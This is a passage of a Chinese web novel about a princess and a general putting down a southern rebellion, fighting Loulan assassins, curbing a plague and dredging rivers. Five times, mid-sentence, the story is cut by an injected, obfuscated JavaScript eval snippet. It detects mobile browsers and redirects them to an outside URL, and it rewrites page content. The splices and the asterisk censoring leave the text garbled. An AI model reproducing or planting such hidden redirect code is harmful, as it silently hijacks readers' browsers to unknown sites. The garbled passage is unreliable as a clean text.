“当然。”江令舟说,“去了南方,我们依然要一起行动。只是职责不同。” “安抚百姓…这才是根本。”黎音袅心里想,叛乱因民生困苦而起。只有解决民生问题,才能真正平息。 “那些叛乱势力,打着为百姓谋福利的旗号。”江令舟说,“这很能煽动人心。但他们的行为,却是烧杀抢掠。这本身就是矛盾。” “所以要揭穿他们的真面目。”黎音袅说,“让百姓知道,他们不是救世主,是强盗。” “这需要时间,需要策略。”江令舟说,“军队**只能治标,安抚民心才能治本。” 黎音袅心里想,皇帝的安排,或许是想让他们一个唱红脸,一个唱黑脸。她去安抚,江令舟去**。 “三日时间,我们要准备什么?”黎音袅问。 “兵马、粮草、医疗物资是必须的。”江令舟说,“还有,要带上一些懂南方风土人情的人。以及…一些能辨别真伪的人。” “辨别真伪?”黎音袅心里想,江令舟指的是什么? “辨别那些叛乱者,是不是真的被煽动的百姓,还是混在其中的其他势力。”江令舟说,“以及,辨别那些地方官员,哪些是真心为民,哪些是与叛乱者勾结。” 黎音袅心里想,这趟南方之行,不仅要面对叛乱,还要面对贪官污吏,甚至可能是来自京城的暗手。 “我们的人手…”黎音袅说,“能信任的有多少?” “不多。”江令舟说,“大理寺那边,我刚上任,还在清理。军队…更是复杂。这次带去的兵马,恐怕需要仔细甄别。” “太医院那边,我能带几个可靠的医官。”黎音袅说,“但也仅限于医术方面。” “这次任务,我们能依靠的,只有彼此。”江令舟看着她。 黎音袅心里想,这句话听起来有些沉重。但她心里清楚,这是事实。在京城这个深不见底的泥潭里,他们是两个外来的异数,能走到今天,靠的就是相互扶持。 “我们离开京城,京城这边会发生什么?”黎音袅问。 “皇后不会闲着。”江令舟说,“柳成峰的案子牵扯到不少人。那些名单上的官员,不会坐以待毙。风雨楼…更不会轻易放过我们。” 黎音袅心里想,他们走后,京城必然会有一场新的较量。他们不在,那些人行事或许会更方便。 “我们能不能留下一些人,在京城盯着?”黎音袅问。 “我已经安排了一些。”江令舟说,“但力量有限。京城的水太深了。” 黎音袅心里想,确实。皇城根下,耳目众多。要瞒过皇后的眼睛,太难。 “这次去南方,会不会是调虎离山?”黎音袅心里想,这是她最大的担忧。把他们引出京城,然后在南方设下陷阱,或者趁他们在南方时,在京城对付他们的人。 “有这个可能。”江令舟说,“但我们不能不去。圣旨已下。” “去了,可能是陷阱。”黎音袅说,“不去,是抗旨。抗旨的后果…更严重。” 江令舟没有说话。他心里想,这是阳谋。皇帝知道他们是关键人物,既需要他们去平叛,又或许想借此机会削弱他们,或者让他们去冒险。 “我们必须去。”江令舟说,“去了,我们还有一线生机。或许能找到新的线索,或许能在南方站稳脚跟。” “或许,能在南方找到对付京城那些人的办法。”黎音袅心里想。京城的水深,南方的局面复杂。也许在复杂中,反而能找到突破口。 “那我们现在就开始准备。”黎音袅说,“三日时间,很紧迫。” “兵马调动需要时间。”江令舟说,“医疗物资也需要筹备。还有粮草…南方灾情严重,粮草是关键。” 黎音袅心里想,皇帝给的时间如此短,本身就说明问题。是皇帝真的急,还是有人故意压缩时间,让他们无法充分准备? “粮草方面,可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548016|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要和户部打交道。”江令舟说,“户部尚书…” “是太子一系的人吗?”黎音袅问。 “之前是。现在…不好说。”江令舟说,“太子失势后,朝中站队混乱。但和皇后走得近的官员,肯定不会少。” 黎音袅心里想,看来粮草方面,可能会遇到阻碍。 “我先回府准备医疗物资。”黎音袅说,“你这边,兵马和粮草,恐怕是最难的。” “我会尽力。”江令舟说。 “还有,那些叛乱者…”黎音袅说,“他们的目的到底是什么?只是烧杀抢掠?还是有更深层的目的?” “或许是想扰乱朝廷,为京城的人争取时间。”江令舟说,“或许,他们本身就是京城势力在南方培养的武装力量。” 黎音袅心里想,如果真是这样,这次平叛,就是一场硬仗,而且对手不只是土匪。 “我们走后,京城这边,你要小心。”江令舟对黎音袅说。 “我?”黎音袅心里想,圣旨是让她随军,她和江令舟是一起走的。 “我的意思是,我们一起小心。”江令舟改口说。 黎音袅心里想,他刚才的话,是不是有什么别的意思?难道他觉得,去了南方后,他们会分开行动? “我们在南方,远离京城。”黎音袅说,“消息传递不便。京城发生什么事,我们可能无法及时知道。” “这就是危险所在。”江令舟说,“他们可能趁我们不在,做很多事。” 黎音袅心里想,比如,对付他们的家人?或者,彻底清除柳成峰案的痕迹?或者,对付那些和他们有牵连的人? “我们走之前,需要安排好京城的一切。”黎音袅说,“能保护的人,尽量保护。能隐藏的证据,尽量隐藏。” “证据…”江令舟说,“柳成峰留下的名单,我们分开保管了。” 黎音袅心里想,这是他们之前商量好的。万一一个人出事,另一个人还能保留线索。 “我手里还有布包里的其他东西。”黎音袅说,“那些账册、书信…” “那些更危险。”江令舟说,“必须藏在最安全的地方。” 黎音袅心里想,最安全的地方在哪里?皇宫?不可能。自己的府邸?也不安全。或许,只有带在身边。但带在身边,更容易丢失或被抢。 “我心里有数。”黎音袅说,“我会处理好。” “三日后,城门口见。”江令舟说。 黎音袅点头。她心里想,三日后,他们就要离开京城,前往未知的南方。这一去,会遇到什么?能否活着回来? 她起身告辞。走出江府,京城的夜色已经降临。灯火辉煌,却掩不住潜藏的危险。黎音袅心里想,柳成峰只是倒了,但围绕他的风暴,却才刚刚开始。南方之行,是危机,或许也是转机。 她回了自己的府邸,心里开始盘算,三日内,她需要做些什么准备。医疗物资是首要,但更重要的是,如何应对来自京城的暗流。那些人,不会让他们安然离开。 她走进书房,拿出那份沉甸甸的布包。里面的东西,是扳倒柳成峰的利器,也是引来杀身之祸的源头。她心里想,这些东西,必须妥善安置。 她坐下,开始思考。南方,叛乱,皇后,风雨楼…这些词语在她脑海里盘旋。她知道,这趟旅程,不会平静。 “来人。”黎音袅开口。 门外响起应答声。 “备笔墨。”她说。她心里想,有些事情,必须在离开前安排好。 第81章 南方 南方潮湿的风,带着血腥和腐朽的气息。 他们抵达了潭州城。城墙斑驳,守军寥寥,百姓面黄肌瘦,眼神空洞。街上行人稀少,店铺大多关门。黎音袅心里想,这里的景象,比奏报里的文字更触目惊心。叛乱带来的破坏,远不止烧杀抢掠。 “先去府衙。”江令舟说。 府衙大门紧闭。通报之后,等了许久,一个穿着官服的中年男人才慢吞吞出来,脸上堆着笑,眼里却无半分敬意。“下官潭州知府刘茂,不知钦差大人驾到,有失远迎。” 黎音袅心里想,这知府的态度,透着古怪。是怠慢,还是另有隐情? “城中情况如何?”江令舟问。 “唉,乱匪猖獗,朝廷大军未到,下官也是有心无力啊。”刘茂叹气,“府库空虚,百姓缺粮,人心惶惶。” “府库为何空虚?”黎音袅问。 “这个…战乱嘛,粮草消耗巨大,下官已经尽力了。”刘茂含糊其辞。 黎音袅心里想,尽力?恐怕是尽力中饱私囊。这种官员,在京城见得多了。国难财,最好发。 “开官仓,赈济百姓。”江令舟直接下令。 刘茂脸色微变:“大人,这…府库实在…” “本将带来的粮草,即刻发放。”江令舟打断他,“你负责组织人手,维持秩序。” 刘茂不敢再辩驳,只能应下。他心里想,这两个京城来的,看着年轻,却不好糊弄。 粮仓打开,堆积的粮食远比刘茂声称的要多。黎音袅心里想,果然如此。这些地方官,国难当头,还在想着自己的利益。蛀虫不除,民心难安。 告示贴出,百姓将信将疑。有人围观,无人上前。他们被骗过太多次,官府的承诺,比纸还薄。 “大人,百姓不信我们。”随行的士兵低声说。 黎音袅走到粥棚前,亲自拿起勺子,给一个衣衫褴褛的老妇盛了一碗粥。“老人家,喝吧,这是朝廷的粮。” 老妇犹豫着接过,浑浊的眼睛看着她,又看看旁边的江令舟和士兵。 “喝吧,不够还有。”黎音袅说。 老妇这才颤抖着手,将粥送到嘴边。 越来越多的人围拢过来。观望,迟疑。 江令舟站在一旁,看着黎音袅。她并未多言,只是安静地施粥。他心里想,她做这些,似乎比在京城时更自在。 黎音袅心里想,信任需要时间,更需要行动。空口白话,谁都会说。 连续三日施粥放粮,城中气氛渐渐有了生气。百姓看他们的眼神,从麻木怀疑,变得有了一丝温度。一些胆大的人开始向士兵打听外面的情况,或是低声咒骂那些叛匪。 “大人,城西王家村的王老汉说,他儿子被叛匪抓走了,好像是去了城南的黑风岭。”一个士兵回来禀报。 “黑风岭?”江令舟看向地图。 “那里地势险要,易守难攻。”黎音袅说,“是附近有名的土匪窝。以前官府多次围剿,都无功而返。” 黎音袅心里想,叛乱势力,很可能就以此为据点。寻常土匪,不会有这么大的能量扰乱数州。 更多的消息汇集而来。黑风岭**了大量人马,武器精良,不像是寻常流寇。他们不仅四处劫掠,还在岭上修建工事,囤积物资。 “他们不只抢粮,还抢铁匠,抢药材。”江令舟看着汇总的情报,指着其中一条,“你看这个,他们还在收集硫磺和硝石。” “制造火器?”黎音袅问。 江令舟点头。 黎音袅心里想,这就更不寻常了。寻常匪患,哪来制造火器的能力和胆量?这背后一定有人支持。 “必须尽快拔掉这个据点。”江令舟说,“否则,让他们成势,再想剿灭就难了。” “强攻?”黎音袅问,“我们兵力不多,地势于我不利。而且,敌情未明,贸然进攻风险太大。” “出其不意。”江令舟说,“今夜就行动。打他们一个措手不及。” 黎音袅心里想,他还是偏向速战速决。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548017|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这并非意气用事,拖延下去,对方只会准备更充分,甚至可能得到援兵。 “我带一队人,从正面佯攻,吸引他们的主力。”江令舟指着地图上的主干道,“你带一队精锐,从后山一条猎户知道的小路潜入,里应外合。” “后山小路…可靠吗?”黎音袅问。提供消息的是一个面色黝黑的本地猎户,看着老实巴交,但人心隔肚皮。 “没有绝对可靠。”江令舟说,“战场之上,本就处处是风险。但这是我们目前唯一的胜算。” 黎音袅点头。她心里想,风险总是伴随着机遇。而且,她信江令舟的判断。 “你挑选人手,我去做准备。”江令舟说。 夜色如墨,伸手不见五指。 江令舟带兵在山前发动攻击,火箭射向山寨,火光映红了半边天,喊杀声震动山谷,声势浩大。 黎音袅带着挑选出的五十名精锐士兵,在那个猎户的带领下,沿着陡峭湿滑的小路向上攀爬。山风呼啸,吹得人站立不稳,脚下的碎石不时滚落,发出轻微的声响。 猎户在前面引路,身手矫健。黎音袅心里想,希望他没有问题。 终于摸到据点后方。这里的防御果然松懈许多,只有几个哨兵在打瞌睡。 “动手!”黎音袅低喝一声,做了个手势。 几个士兵悄无声息地摸上前去,**划破夜空,几声短促的闷哼后,哨兵倒下。后门被迅速打开。 据点内已是一片混乱。大部分叛匪都被前山的喊杀声吸引过去,乱糟糟地向前山涌去。 黎音袅带人冲入,目标明确,直扑据点中央那座最大的石屋,那里很可能是头目的住所。沿途遇到零星抵抗,都**净利落地解决。 她心里想,比预想的顺利。是对方真的如此不堪一击,还是… 念头未落,侧面阴影里突然射出一支冷箭,悄无声息,直取黎音袅面门。速度极快。 旁边的亲兵反应极快,猛地将她推开,同时用自己的身体挡了上去。 第82章 清理战场 “噗嗤”一声,箭矢深深扎入亲兵的肩胛。 “有埋伏!保护大人!”亲兵忍痛嘶吼。 几乎同时,周围的房屋和暗处涌出数十名黑衣人,手持样式奇特的弯刀,身法诡异,行动迅捷,与之前遇到的那些乱糟糟的叛匪截然不同。他们沉默着,眼神冰冷,像是一群训练有素的**。 黎音袅心里一沉。这些人,绝对不是普通叛匪!他们的目标,似乎就是自己。 她拔出佩剑,剑身在火光下泛着冷意。“结阵!” 士兵们迅速组成防御阵型,将黎音袅护在中间。 黑衣人扑了上来,弯刀挥舞,带起阵阵寒风。他们的刀法狠辣刁钻,配合默契,专攻士兵防御的薄弱之处。 黎音袅挥剑格挡,与一名黑衣人交手。对方力大刀沉,招式带着一股异域的风格。她心里想,这些人到底是什么来路? 战斗瞬间变得异常激烈。黎音袅带来的都是黎音袅带来的都是京城精锐,但面对这些黑衣人,却显得有些吃力。对方身法诡异,刀锋角度刁钻,往往从意想不到的方向攻来。 “他们身手不对劲。”一个亲兵低声说,“不是中原武功。” 黎音袅心里想,确实不同。京城那些江湖**,或是军中高手,她都见过不少。这些黑衣人的招式,带着一股野性和狠厉,不讲章法,却极为有效。 她手里长剑翻飞,挡开一刀,顺势反击。对方不硬接,而是身体一拧,像蛇一样滑开,又从另一个角度攻来。 她心里想,这些人的战斗方式,更像是…猎食。 “大人,小心后面!” 黎音袅反应极快,身体向后一仰,一把弯刀擦着她的鼻尖掠过,带起一股腥风。她就地一滚,避开后续的攻击。 她心里想,这些黑衣人的目标就是她。他们不恋战,只求**。 “他们是冲着我来的!”黎音袅喊道,“分散他们的注意力!” 士兵们拼死缠住黑衣人。黎音袅趁机观察。这些黑衣人除了弯刀,身上没有其他明显的标志。但他们的服装材质,似乎与中原的不同。是一种粗糙而紧实的布料。 战斗持续了一段时间。黑衣人数量不多,但个个以命相搏,给士兵造成了不小的伤亡。 黎音袅心里想,如果不是江令舟在前山吸引了大部分叛匪,如果不是她带的士兵都是精锐,此刻他们恐怕已经全军覆没。 突然,一个黑衣人在与士兵缠斗时,胸前被刺中一剑。他倒下时,一个绣着奇怪花纹的布块从他怀里掉出来。 那花纹像是某种图腾,线条简单而古老。 黎音袅心里想,这是什么?他们的身份证明? 她想上前去捡,但被其他黑衣人缠住。这些黑衣人似乎并不在意同伴的死活,他们的眼睛里只有冰冷的杀意。 前山的喊杀声似乎小了一些。江令舟那边应该得手了。 黎音袅心里想,必须尽快解决这里的麻烦。这些黑衣人一旦逃脱,就很难再抓到。而且,他们的出现,意味着这次叛乱,远不是表面那么简单。 她集中精神,与面前的黑衣人周旋。她发现这些人的进攻虽然凶猛,但防御相对薄弱。他们的目的似乎是快速突破,完成刺杀,并不擅长持久战。 她抓住一个破绽,剑尖直刺对方咽喉。黑衣人身体一僵,倒了下去。 随着第一个黑衣人**死,其他黑衣人的攻势似乎停顿了一瞬。他们彼此对视了一眼,眼神交流着什么。 黎音袅心里想,他们在犹豫?还是在传递指令? 紧接着,剩下的黑衣人突然改变了策略。他们不再纠缠士兵,而是开始突围,向着据点的后山方向撤退。 黎音袅心里想,想跑?没那么容易。 “追!”她下令。 士兵们紧追不舍。黑衣人撤退的速度极快,对这里的地形似乎非常熟悉。他们沿着崎岖的山路快速移动。 黎音袅一边追赶,一边心里盘算。这些黑衣人是谁?他们为何要刺杀自己?他们和这些叛匪是什么关系?那个布块上的图腾又代表什么? 她心里想,这些问题,都指向一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548018|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向:这股叛乱势力,背后有着更复杂的背景。 追到山脚下,黑衣人已经消失在夜色和密林之中。士兵们无法再追,只能停下。 黎音袅看着黑衣人消失的方向,心里沉重。他们虽然击退了黑衣人,但并没有抓住活口,也没有得到更多线索。 她心里想,那个掉落的布块… 她转身,带着士兵们回到据点。据点内的战斗已经结束,江令舟带着前山的人赶了过来。 “长公主你没事吧?”江令舟看到她问。 “我没事。”黎音袅说,“但我们遇到了麻烦。” 她指着地上黑衣人的尸体:“这些人,不是普通叛匪。” 江令舟走上前,查看尸体。他掀开黑衣人的衣服,露出了里面的内衬。内衬的材质和花纹,与黎音袅之前看到的布块有些相似。 “这是…”江令舟皱眉。 他手里拿着火把,仔细查看黑衣人的弯刀。刀身上,刻着同样的古老图腾。 黎音袅心里想,图腾,弯刀,诡异的身法… “楼兰。”江令舟缓缓吐出两个字。 黎音袅心里一震。楼兰?他们怎么会出现在这里?而且,与南方的叛乱势力勾结? 江令舟看着黑衣人的尸体,又看向远处漆黑的夜色。“这些叛匪,只是他们的棋子。” 黎音袅心里想,如果楼兰势力介入,那么这次平叛,就不仅仅是剿灭匪患那么简单了。这意味着,他们面对的,是一个来自域外的敌人,一个可能与京城某些势力勾结的强大对手。 她心里想,柳成峰案,南方叛乱,楼兰…这些看似不相关的事件,会不会都指向同一个幕后黑手? “清理战场。”江令舟说,“仔细搜查,看看有没有留下什么线索。” 黎音袅心里想,线索…那个掉落的布块。她立刻让人去寻找。 士兵们开始打扫战场,搬运尸体。空气中弥漫着血腥味和硝烟味。 黎音袅心里想,这次南下,果然没有那么简单。危险,才刚刚开始。 第83章稳住了 夜色依旧浓重,据点里的火把噼啪作响。 江令舟让人将黑衣人的尸体抬走处理,空气里的血腥气却一时散不去。楼兰,这两个字像沉重的石头压在黎音袅心头。域外势力,朝中内应,南境叛乱,疫病横行。她心里想,这条线,越来越复杂了。 她转身,走向临时搭建的议事帐篷。江令舟跟在她身后。 帐篷内,几名核心将领已经等候,人人面色凝重。刚才的厮杀和“楼兰”的出现,让气氛变得压抑。 “长公主,江将军。”将领们起身行礼。 “坐。”黎音袅走到主位。她没有立刻谈论楼兰刺客,而是从怀中取出一个油纸包。 她将油纸包放在桌上,层层打开。里面露出的,是几张泛黄的纸,还有一些黑色的药渣粉末。 “这是什么?”一名将领问。 “证据。”黎音袅说。她拿起其中一张纸,上面记录着一些药材的交易,数量巨大,日期就在疫病爆发之前。另一张,则是一封语焉不详的信件片段,提到了“依计行事”,“时机已到”。 “这些,是我和江将军从城中一个叫济世堂的药铺暗格里找到的。”黎音袅解释,“这家药铺,表面上是医馆,暗地里却囤积居奇,甚至可能参与了疫病的传播。” 她心里想,那个废弃院子里的追兵,恐怕就是为了灭口,阻止他们把这些东西带出来。 江令舟补充:“我们查过济世堂的背景,它的东家,与京城柳家有生意往来。” 柳家。 帐篷内一片寂静。将领们交换着眼神,里面有惊疑,有难以置信。 “柳家…哪个柳家?”有人小心翼翼地问。 “还能是哪个柳家。”黎音袅的声音没有起伏,“当朝宰辅,柳成峰。” “嘶——”帐内响起抽气声。 一名络腮胡将领猛地站起:“不可能!柳相怎么会…” “为何不可能?”黎音袅反问,“柳成峰之子柳文才,当初因何获罪,诸位应该记得。他视我为眼中钉,动些手脚,奇怪吗?” 她心里想,柳成峰老谋深算,绝不会只因为儿子的事就如此大动干戈。这背后,一定有更大的图谋。疫病,叛乱,现在又加上楼兰…他到底想做什么?颠覆朝纲? “长公主,此事体大…”另一名将领开口,语气犹豫,“仅凭这些,恐怕难以…” “我知道。”黎音袅打断他,“这些只是线索,不是铁证。但足够引起父皇的警惕。”她看向江令舟,“江将军,此事需立刻密报京城,呈交父皇御览。” 江令舟点头:“末将明白。我会安排最可靠的人,连夜出发,绕开所有可能的眼线,务必送到陛下面前。” “柳成峰在军中亦有故旧门生,此事传递,必须万分小心。”黎音袅叮嘱。 “末将省得。” 布置完送出证据的事,黎音袅将话题转回眼前的危机:“柳成峰的事,暂且交给父皇定夺。我们眼下最要紧的,是控制住营地和周边的疫病。” 提到疫病,帐内的气氛又沉重几分。这些日子,不断有士兵和百姓倒下,军心民心都受到影响。 “长公主,药材消耗极大,后续的补给…”军需官面露难色。 “朝廷的援军和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548019|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药材已经在路上,应该很快就到。”黎音袅说,她心里想,希望京城那边不要出岔子。“但在援军到达之前,我们不能坐以待毙。” 她站起身:“从现在起,所有营区,严格划分洁净区、隔离区和病患区。所有人员,无特殊命令不得随意走动。接触过病患的人,必须进行至少半个时辰的隔离观察,更换衣物,用烈酒或醋擦拭手脸。” 这些命令,在这个时代听起来有些奇怪,但无人质疑。 “所有病患的呕吐物、排泄物,必须挖深坑集中掩埋,并撒上石灰。所有饮用水,必须煮沸后才能饮用。所有营帐,每日必须通风至少一个时辰。” “另外,组织人手,特别是那些尚未染病的士兵和民壮,清理营地内外的所有垃圾、污水,改善卫生。” 黎音袅一条条下令,江令舟在一旁补充执行细节,将领们则快速记录。 她心里想,这些基于现代医学的隔离和消毒措施,虽然土法,但应该是目前最有效的手段了。希望能遏制住蔓延。 接下来的几天,整个营地都以前所未有的方式运转起来。 士兵们被分派了新的任务,不再只是操练和警戒,还要负责隔离、消毒、清理。起初有人不解,甚至抱怨,但在江令舟的严令下,各项措施还是推行下去。 黎音袅亲自巡查各个区域,检查隔离措施的落实情况,询问病患的症状变化。她让军医将病情记录详细登记,试图找出规律。 她心里想,没有显微镜,没有特效药,只能依靠隔离、卫生和人体自身的免疫力。这是一场艰难的战斗。 病患区依然不断有呻 第84章劣质谷物 疫病初歇,营地尚未松懈。 黎音袅站在高处,看着下方忙碌的景象。新增病例的曲线终于向下弯折。黎音袅心里想,疫病只是暂时压制,水患才是根源。不治水,灾民无家可归,流离失所,迟早还会生变。她开口:“江将军,疫病稍缓,疏浚河道之事,不能再等了。” 江令舟:“正有此意。人手已经重新调配,随时可以开始。”他停顿了一下,“只是,工具和物资……” 黎音袅:“先用现有的。我会再上书朝廷,催促后续支援。眼下,时间最重要。”她心里想,京城那边,不知父亲和太子如何应对柳成峰。催促物资,恐怕不易。她看向江令舟,“按照之前制定的方案,立刻行动。” 命令迅速传达下去。营地再次变动,气氛由之前的紧张防疫转向了更为繁重的体力劳作。部分兵士脱下带着药味的隔离衣,换上短褂,拿起简陋的铁锹、扛起竹筐。更多的民壮被组织起来,脸上带着初愈的苍白和对未来的茫然,被编入各个队伍。按照先前勘测规划的路线,大队人马开往淤塞最严重的几处河段。 河岸泥泞不堪,残留的洪水尚未完全退尽,空气中弥漫着水腥和腐烂的气味。士兵们深一脚浅一脚地踏入淤泥,挥动铁锹挖掘。黏稠厚重的泥土裹挟着石块、断木,挖掘异常艰难。铁锹刃口很快就磨钝、卷曲。装满湿泥的竹筐沉重无比,从河道运到岸上堆放点,短短距离,就让许多人体力透支。进度缓慢得令人心焦。 “将军,这铁锹根本挖不动!下面的石头太多了!”一个什长满身泥浆,对前来巡视的江令舟抱怨。 旁边一个士兵直接瘫坐在泥地里,大口喘气:“这活,比跟**拼命还累……” 江令舟脸色沉肃,扫视着疲惫不堪的队伍。“轮换休息,两個时辰一换。”他只下达命令,没有多余的话语。他心里想,工具不足,只能靠人命填。 队伍向下游推进,需要在一处名为下溪村的地方征用部分刚露出水面的田地,作为临时堆土场。村长是个干瘦佝偻的老头,带着十几个面黄肌瘦的村民拦在了队伍前面。 “殿下!将军!求求你们,高抬贵手!不能再占我们的地了!”村长声音嘶哑,几乎要跪下去,“洪水才退,全家老小就指望这点薄田活命啊!” 他身后一个赤着上身的壮年汉子眼睛通红,情绪激动:“地没了!房子也塌了!俺婆娘和娃儿前几天差点病死!还挖什么河?挖了我们也没活路!不如现在就**干净!”他握紧了拳头,盯着黎音袅和江令舟。 黎音袅看着他们麻木又隐含绝望的脸。她心里想,大道理在生存面前,显得如此空洞。灾民的痛苦是真实的,他们的要求也并不过分。但河道不通,遗祸无穷。 她走上前,尽量让自己的声音平静:“老丈,乡亲们,我知道你们受苦了。洪水无情,家园被毁,心里的痛,我明白。”她停顿,观察着他们的反应,“但这河道若不彻底疏通,明年、后年,洪水还会再来。到时候淹的,还是你们的家,你们的地。” “堆土只是暂时的。”她继续说,“等河道疏通,官府会给予补偿。被冲毁的房屋,我们也会帮助重建。还会分发粮种,让大家重新开始。” 村长脸上露出犹豫。那壮汉却不买账,往地上啐了一口:“官府的话,哄鬼呢!以前也这么说,最后还不是不了了之?补偿?粮种?谁知道是真是假!” 江令舟上前一步,身形如山,军人的煞气自然流露。“军令在此。疏浚河道,关乎沿岸数十万百姓安危。任何人敢阻挠,以延误军机论处,格杀勿论!”他的声音不高,却带着不容置疑的威慑。 村民们被他的气势所慑,不由自主地后退了几步,脸上露出畏惧。 黎音袅接话:“征地补偿,粮食物资,我以长公主的身份在此担保,绝不食言。先调拨一批粮食给下溪村应急,解燃眉之急。”她立刻示意身后的亲卫去办。 看到确实有粮食调来,村民们的抵触情绪稍稍缓解,但眼神中的怀疑和不安并未完全消除。壮汉不再说话,只是默默退到人群后。 疏浚工作就在这种艰难和磕绊中继续推进。白天,士兵和民壮挥汗如雨。夜晚,河岸上点起无数火把,照亮了继续劳作的身影。一些身体稍好的灾民,为了早日重建家园,也自发加入了进来,用最原始的办法,肩挑手扛。黎音袅和江令舟几乎没有休息,轮流在各个工段督促、协调,常常也是一身泥泞,和士兵们一起啃着干粮。 几天后的一个下午,随着一阵号子声和最后几锹的挖掘,一处淤塞了数月、如同小山般的堰塞被成功打通!浑浊的河水找到了宣泄口,咆哮着向下游奔涌而去,发出巨大的轰鸣轰隆——。岸边的人群爆发出震天的欢呼,许多人激动得流下泪来。连日劳作的疲惫,仿佛在这一刻被冲刷掉了不少。 然而,欢呼声还未完全平息,一名负责前方探查的斥候策马疾驰而来,脸色焦急。“报!长公主!江将军!下游三里处河道,被大片塌方的山石完全堵死!看那规模,恐怕是前几日暴雨引发的山体滑坡!” 刚刚升起的喜悦瞬间被浇灭。众人脸色骤变。下游三里处是狭窄的河谷地带,两岸山壁陡峭,如果发生大规模塌方,清理难度极大。 江令舟立刻带人赶去查看。回来时,他眉头紧锁。“塌方量巨大,全是数千斤甚至万斤的巨石,人力短时间内根本无法清除。若动用军中携带的少量**爆破……”他摇了摇头,“山体本就不稳,爆破极易引发更大范围的二次塌方,后果不堪设想。” 黎音袅摊开随身携带的简易地图,手指在上面缓缓移动,最后停在塌方处旁边一条细细的、标注着“废弃”的曲折线上。“这条古河道,还能不能利用?”她心里想,也许可以绕过这个障碍。 江令舟凑近看了看:“之前派人勘查过。这条古河道废弃已久,淤塞极其严重,几乎与地面平齐。但相比清理那些巨石,疏通这条古河道或许是更快的办法。只是……”他有些迟疑,“改道需要重新挖掘,工程量同样浩大,而且会永久占用沿途不少农田。” 黎音袅:“非常之时,当行非常之事。通知沿途村庄,做好准备,讲明利害,补偿随后跟上。传令下去,所有人力物力,立刻转向,全力疏通古河道!” 命令下达,工程方向改变。挖掘旧河道比清理淤泥更为困难,但也避开了坚硬的巨石。随着新旧河道的并行疏导,水位以肉眼可见的速度持续下降。大片曾被淹没的土地终于重见天日,只是地面覆盖着厚厚的淤泥,到处是倒塌的房屋残骸和枯死的树木,满目疮痍。 疫病基本平息,洪水逐渐退去,黎音袅的工作重心立刻转向了灾后重建和生产自救。她组织人手,对幸存的灾民进行详细登记造册,清点人口、损失,然后开始分发朝廷运抵以及她设法筹措来的种子和简易农具。 “活下去,然后才是生活。”她对江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548020|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令舟说,语气平静。她心里想,授人以鱼不如授人以渔,只有让这些人重新拥有土地,播下种子,看到未来的希望,他们才能真正安定下来,南方的局势才能稳住。 分发点排起了长长的队伍。一个穿着半新不旧吏服、脸上透着精明和不耐烦的小吏正在负责登记发放。争吵声很快传来。 “凭什么他家分两袋稻种,俺家就一袋?”一个面色黝黑的汉子质问。 小吏头也不抬,翻着册子:“他家五口人,你家就两口,按人头分的,吵什么吵?” 旁边一个抱着孩子的瘦弱妇人带着哭腔哀求:“大人,我家男人病**,如今就剩俺娘俩,这一袋种子哪里够种活命田啊……求大人发发慈悲……” 小吏皱眉,挥手驱赶:“去去去,册子上写多少就领多少,规矩就是规矩!” 